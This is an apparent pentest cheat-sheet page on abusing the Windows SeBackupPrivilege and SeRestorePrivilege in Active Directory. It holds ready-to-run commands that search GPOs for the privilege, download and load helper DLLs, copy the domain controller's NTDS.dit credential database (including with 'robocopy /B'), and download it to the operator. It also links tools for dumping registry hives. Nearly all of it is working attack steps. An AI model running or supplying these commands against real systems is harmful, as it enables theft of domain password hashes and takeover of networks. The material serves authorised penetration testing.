> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/infrastructure/ad/privileges-abuse/sebackup-serestore.md).

# SeBackupPrivilege & SeRestorePrivilege

Search for `SeBackupPrivilege` through GPO policies:

```
$ gci -Path \\$ENV:USERDNSDOMAIN\sysvol\$ENV:USERDNSDOMAIN\Policies\ -Recurse -File  -ErrorAction SilentlyContinue | Select-String "SeBackupPrivilege"
```

## File Copy

* <https://github.com/giuliano108/SeBackupPrivilege>
* <https://0xdf.gitlab.io/2020/10/03/htb-blackfield.html#priv-svc_backup--administrator>

```
wget https://github.com/giuliano108/SeBackupPrivilege/raw/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll
wget https://github.com/giuliano108/SeBackupPrivilege/raw/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll

upload SeBackupPrivilegeCmdLets.dll
upload SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll
Copy-FileSeBackupPrivilege W:\Windows\NTDS\ntds.dit C:\Users\snovvcrash\Documents\ntds.dit -Overwrite
download ntds.dit
```

### robocopy

* <https://0xdf.gitlab.io/2020/09/19/htb-multimaster.html#read-as-system>

```
PS > cmd /c where robocopy
PS > robocopy /B W:\Windows\NTDS\ntds.dit C:\Users\snovvcrash\Documents\ntds.dit
```

## Registry

* <https://github.com/mpgn/BackupOperatorToDA>
* <https://github.com/improsec/BackupOperatorToolkit>
* <https://github.com/snovvcrash/RemoteRegSave>
* <https://github.com/horizon3ai/backup_dc_registry>

## Modify GPO

* <https://systemweakness.com/expoiting-and-detecting-privilege-escalation-via-a-windows-backup-operator-attack-and-detection-a97e67644214>